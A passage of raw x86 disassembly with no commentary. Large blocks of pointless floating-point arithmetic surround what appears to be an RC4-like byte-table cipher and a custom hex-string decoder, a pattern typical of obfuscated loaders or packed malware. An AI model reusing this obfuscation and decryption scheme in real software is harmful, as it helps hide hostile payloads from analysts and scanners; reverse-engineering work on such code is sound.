subsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [ebp - 0x43f8]
comisd xmm0, xmmword [ebp - 0x43dc]
jbe 0x42a272
movsd xmm0, qword [ebp - 0x3cec]
addsd xmm0, qword [ebp - 0x43d0]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x43dc]
addsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [ebp - 0x43dc]
mulsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [ebp - 0x43d0]
mulsd xmm0, qword [ebp - 0x43dc]
movsd qword [ebp - 0x43d0], xmm0
movsd xmm0, qword [ebp - 0x3cec]
divsd xmm0, qword [ebp - 0x43d0]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x3cec]
subsd xmm0, qword [ebp - 0x43d0]
movsd qword [ebp - 0x3cec], xmm0
jmp 0x42a302
movsd xmm0, qword [ebp - 0x3cec]
mulsd xmm0, qword [ebp - 0x43dc]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x43f8]
divsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [ebp - 0x435c]
addsd xmm0, qword [ebp - 0x4050]
movsd qword [ebp - 0x435c], xmm0
movsd xmm0, qword [ebp - 0x43dc]
subsd xmm0, qword [ebp - 0x43f8]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [ebp - 0x3cec]
mulsd xmm0, qword [ebp - 0x43dc]
movsd qword [ebp - 0x3cec], xmm0
movsd xmm0, qword [ebp - 0x43f8]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x43f8], xmm0
jmp 0x42a3a3
movsd xmm0, qword [ebp - 0x43dc]
subsd xmm0, qword [ebp - 0x435c]
movsd qword [ebp - 0x43dc], xmm0
movsd xmm0, qword [ebp - 0x4050]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x4050]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x43f8]
subsd xmm0, qword [ebp - 0x4050]
movsd qword [ebp - 0x43f8], xmm0
movsd xmm0, qword [ebp - 0x4050]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
movsd xmm0, qword [ebp - 0x4050]
mulsd xmm0, qword [ebp - 0x3cec]
movsd qword [ebp - 0x4050], xmm0
mov edx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], edx
movss xmm0, dword [0xa674b0]
movss dword [ebp - 0x43a8], xmm0
movss xmm0, dword [0xa67454]
movss dword [ebp - 0x41f4], xmm0
movss xmm0, dword [0xa673cc]
movss dword [ebp - 0x4210], xmm0
movss xmm0, dword [0xa67310]
movss dword [ebp - 0x43a4], xmm0
movss xmm0, dword [0xa6720c]
movss dword [ebp - 0x4124], xmm0
movss xmm0, dword [0xa67128]
movss dword [ebp - 0x4120], xmm0
movss xmm0, dword [0xa67030]
movss dword [ebp - 0x3d50], xmm0
movss xmm0, dword [ebp - 0x41f4]
subss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x41f4], xmm0
movss xmm0, dword [ebp - 0x43a4]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x43a4], xmm0
movss xmm0, dword [ebp - 0x43a8]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x43a8], xmm0
movss xmm0, dword [ebp - 0x4210]
subss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x4210], xmm0
movss xmm0, dword [ebp - 0x4120]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x4120], xmm0
movss xmm0, dword [ebp - 0x4124]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x4124], xmm0
movss xmm0, dword [ebp - 0x4120]
mulss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x4120], xmm0
movss xmm0, dword [ebp - 0x4120]
comiss xmm0, dword [ebp - 0x3d50]
jbe 0x42a58f
movss xmm0, dword [ebp - 0x43a4]
mulss xmm0, dword [ebp - 0x4120]
movss dword [ebp - 0x43a4], xmm0
movss xmm0, dword [ebp - 0x4120]
subss xmm0, dword [ebp - 0x43a8]
movss dword [ebp - 0x4120], xmm0
movss xmm0, dword [ebp - 0x4210]
addss xmm0, dword [ebp - 0x4124]
movss dword [ebp - 0x4210], xmm0
movss xmm0, dword [ebp - 0x43a8]
mulss xmm0, dword [ebp - 0x4210]
movss dword [ebp - 0x43a8], xmm0
movss xmm0, dword [ebp - 0x4124]
addss xmm0, dword [ebp - 0x3d50]
movss dword [ebp - 0x4124], xmm0
movss xmm0, dword [ebp - 0x3d50]
addss xmm0, dword [ebp - 0x41f4]
movss dword [ebp - 0x3d50], xmm0
movss xmm0, dword [ebp - 0x3d50]
mulss xmm0, dword [ebp - 0x41f4]
movss dword [ebp - 0x3d50], xmm0
mov eax, dword [ebp - 0x3c00]
or eax, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], eax
jmp 0x42a637
movss xmm0, dword [ebp - 0x41f4]
mulss xmm0, dword [ebp - 0x4210]
movss dword [ebp - 0x41f4], xmm0
movss xmm0, dword [ebp - 0x43a4]
divss xmm0, dword [ebp - 0x4124]
movss dword [ebp - 0x43a4], xmm0
movss xmm0, dword [ebp - 0x4124]
mulss xmm0, dword [ebp - 0x4120]
movss dword [ebp - 0x4124], xmm0
movss xmm0, dword [ebp - 0x4124]
divss xmm0, dword [ebp - 0x4120]
movss dword [ebp - 0x4124], xmm0
movss xmm0, dword [ebp - 0x43a8]
mulss xmm0, dword [ebp - 0x41f4]
movss dword [ebp - 0x43a8], xmm0
movss xmm0, dword [ebp - 0x4210]
subss xmm0, dword [ebp - 0x43a4]
movss dword [ebp - 0x4210], xmm0
movss xmm0, dword [ebp - 0x41f4]
divss xmm0, dword [ebp - 0x4210]
movss dword [ebp - 0x41f4], xmm0
mov cl, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], cl
movzx edx, byte [ebp - 0x32d0]
mov al, byte [ebp + edx - 0x5eb0]
mov byte [ebp - 0x32f6], al
movsd xmm0, qword [0xa66eb8]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [0xa66d30]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [0xa66b00]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [0xa66888]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
subsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
addsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3f08]
subsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3f10]
addsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3f10]
comisd xmm0, xmmword [ebp - 0x3f08]
jbe 0x42a79f
movsd xmm0, qword [ebp - 0x3d0c]
addsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3944]
subsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
mulsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3944]
mulsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx eax, byte [ebp - 0x32a6]
add eax, edx
mov byte [ebp - 0x32a6], al
mov cl, byte [ebp - 0x3287]
add cl, 1
mov byte [ebp - 0x3287], cl
jmp 0x42aa6b
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
subsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3f08]
subsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3944]
mulsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3f08]
subsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3944]
mulsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
comisd xmm0, xmmword [ebp - 0x3944]
jbe 0x42aa0b
movsd xmm0, qword [ebp - 0x3f10]
addsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3f08]
addsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3944]
mulsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
addsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3f10]
subsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3944]
subsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3f08]
mulsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3f10]
comisd xmm0, xmmword [ebp - 0x3f08]
jbe 0x42a9a9
movsd xmm0, qword [ebp - 0x3d0c]
subsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3f10]
mulsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3f10]
addsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3944], xmm0
jmp 0x42aa09
movsd xmm0, qword [ebp - 0x3944]
divsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3944]
subsd xmm0, qword [ebp - 0x3f10]
movsd qword [ebp - 0x3944], xmm0
movsd xmm0, qword [ebp - 0x3f10]
subsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3f10], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
addsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
jmp 0x42aa6b
movsd xmm0, qword [ebp - 0x3f08]
mulsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3d0c]
divsd xmm0, qword [ebp - 0x3f08]
movsd qword [ebp - 0x3d0c], xmm0
movsd xmm0, qword [ebp - 0x3f08]
addsd xmm0, qword [ebp - 0x3944]
movsd qword [ebp - 0x3f08], xmm0
movsd xmm0, qword [ebp - 0x3f10]
divsd xmm0, qword [ebp - 0x3d0c]
movsd qword [ebp - 0x3f10], xmm0
movzx edx, byte [ebp - 0x32a6]
movzx eax, byte [ebp - 0x32d0]
mov cl, byte [ebp + edx - 0x5eb0]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x32a5]
movzx eax, byte [ebp - 0x32a6]
mov cl, byte [ebp + edx - 0x5eb0]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x32a5]
mov cl, byte [ebp + edx - 0x5eb0]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp - 0x32f6]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x32f6]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx eax, byte [ebp - 0x32f7]
add eax, edx
mov byte [ebp - 0x32f7], al
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp - 0x32a6]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx edx, byte [ebp - 0x3287]
movzx edx, byte [ebp + edx - 0x5eb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5eb0]
xor ecx, eax
movzx edx, byte [ebp - 0x32a5]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx edx, byte [ebp - 0x32d0]
movzx edx, byte [ebp + edx - 0x5eb0]
add eax, edx
movzx edx, byte [ebp - 0x32f7]
movzx edx, byte [ebp + edx - 0x5eb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp + eax - 0x5eb0]
xor ecx, edx
mov byte [ebp - 0x32a5], cl
mov al, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], al
mov cl, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], cl
cmp dword [ebp - 0x33ac], 0
jle 0x42abac
movsx dx, byte [ebp - 0x3372]
mov eax, dword [ebp - 0x33ac]
mov word [ebp + eax*2 - 0x10e], dx
movss xmm0, dword [0xa67430]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [0xa673b8]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [0xa67324]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [0xa6725c]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [0xa67198]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [0xa670d0]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [0xa67000]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x34c0]
subss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x347c]
addss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x34c4]
subss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x34c4]
addss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x34c0]
subss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x351c]
mulss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x3438]
mulss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x3438]
comiss xmm0, dword [ebp - 0x3418]
jbe 0x42ad95
movss xmm0, dword [ebp - 0x3418]
addss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x34c0]
subss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x3418]
mulss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x351c]
addss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x3418]
addss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x351c]
mulss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x3438]
addss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
mov ecx, dword [ebp - 0x378c]
add ecx, 5
mov dword [ebp - 0x378c], ecx
jmp 0x42b261
movss xmm0, dword [ebp - 0x351c]
subss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x34c0]
mulss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x347c]
subss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x3594]
divss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x3438]
addss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x3418]
addss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x3594]
mulss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x3418]
subss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x3438]
addss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x347c]
divss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x34c0]
mulss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x34c4]
addss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x3418]
subss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x351c]
subss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x34c4]
comiss xmm0, dword [ebp - 0x351c]
jbe 0x42afa7
movss xmm0, dword [ebp - 0x34c4]
divss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x347c]
divss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x351c]
subss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x3438]
divss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x3438]
mulss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x3594]
mulss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x34c0]
mulss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x34c0], xmm0
jmp 0x42b261
movss xmm0, dword [ebp - 0x3594]
divss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x3418]
divss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x3418]
divss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x34c4]
subss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x3438]
addss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x34c0]
divss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x34c4]
subss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x347c]
mulss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x34c4]
divss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x3418]
mulss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x3418], xmm0
movss xmm0, dword [ebp - 0x3594]
subss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x34c4]
divss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x347c]
subss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x3594]
addss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x3594]
comiss xmm0, dword [ebp - 0x3418]
jbe 0x42b1b9
movss xmm0, dword [ebp - 0x347c]
addss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x347c]
mulss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x34c0]
mulss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x3438]
divss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x3594]
addss xmm0, dword [ebp - 0x3418]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x34c4]
divss xmm0, dword [ebp - 0x3438]
movss dword [ebp - 0x34c4], xmm0
movss xmm0, dword [ebp - 0x3438]
mulss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x3438], xmm0
jmp 0x42b261
movss xmm0, dword [ebp - 0x3438]
divss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x351c]
subss xmm0, dword [ebp - 0x3594]
movss dword [ebp - 0x351c], xmm0
movss xmm0, dword [ebp - 0x347c]
subss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
movss xmm0, dword [ebp - 0x3594]
mulss xmm0, dword [ebp - 0x34c4]
movss dword [ebp - 0x3594], xmm0
movss xmm0, dword [ebp - 0x34c0]
divss xmm0, dword [ebp - 0x347c]
movss dword [ebp - 0x34c0], xmm0
movss xmm0, dword [ebp - 0x3438]
addss xmm0, dword [ebp - 0x34c0]
movss dword [ebp - 0x3438], xmm0
movss xmm0, dword [ebp - 0x347c]
subss xmm0, dword [ebp - 0x351c]
movss dword [ebp - 0x347c], xmm0
mov edx, dword [ebp - 0x33ac]
add edx, 1
mov dword [ebp - 0x4bc4], edx
jmp 0x42b281
mov eax, dword [ebp - 0x4bc4]
add eax, 1
mov dword [ebp - 0x4bc4], eax
mov ecx, dword [ebp - 0x4bc4]
cmp ecx, dword [ebp - 0x378c]
jge 0x42b7de
mov edx, dword [ebp - 0x33ac]
add edx, 1
mov dword [ebp - 0x33ac], edx
mov eax, dword [ebp - 0x33ac]
shl eax, 1
mov dword [ebp - 0x3bf4], eax
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bf4]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b94], edx
mov dword [ebp - 0x3b98], 0x37
mov eax, dword [ebp - 0x33ac]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3bfc], ecx
mov edx, dword [ebp - 0x3bf8]
add edx, dword [ebp - 0x3bfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3b9c], eax
mov dword [ebp - 0x3ba0], 0x62
mov ecx, dword [ebp - 0x3b94]
sub ecx, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], ecx
mov edx, dword [ebp - 0x3b9c]
sub edx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], edx
mov eax, dword [ebp - 0x3ba4]
shl eax, 4
mov dword [ebp - 0x3c00], eax
mov ecx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], ecx
mov edx, dword [ebp - 0x3c00]
or edx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], edx
mov al, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32f6], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32a6]
add edx, ecx
mov byte [ebp - 0x32a6], dl
mov al, byte [ebp - 0x3287]
add al, 1
mov byte [ebp - 0x3287], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x32d0]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp - 0x32a6]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movsd xmm0, qword [0xa66f28]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [0xa66d20]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [0xa66a18]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3d34]
subsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3d34]
addsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3d34]
comisd xmm0, xmmword [ebp - 0x3bc0]
jbe 0x42b4c6
movsd xmm0, qword [ebp - 0x3bc0]
mulsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
mulsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3cf4], xmm0
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32a5]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
jmp 0x42b6ea
movsd xmm0, qword [ebp - 0x3cf4]
divsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
divsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
mulsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
addsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
mulsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3d34]
comisd xmm0, xmmword [ebp - 0x3bc0]
jbe 0x42b6a2
movsd xmm0, qword [ebp - 0x3bc0]
subsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
addsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
subsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
divsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
subsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
divsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3cf4]
comisd xmm0, xmmword [ebp - 0x3d34]
jbe 0x42b658
movsd xmm0, qword [ebp - 0x3cf4]
divsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
subsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
mulsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
jmp 0x42b6a0
movsd xmm0, qword [ebp - 0x3cf4]
divsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3cf4], xmm0
movsd xmm0, qword [ebp - 0x3bc0]
divsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3bc0]
movsd qword [ebp - 0x3d34], xmm0
jmp 0x42b6ea
movsd xmm0, qword [ebp - 0x3bc0]
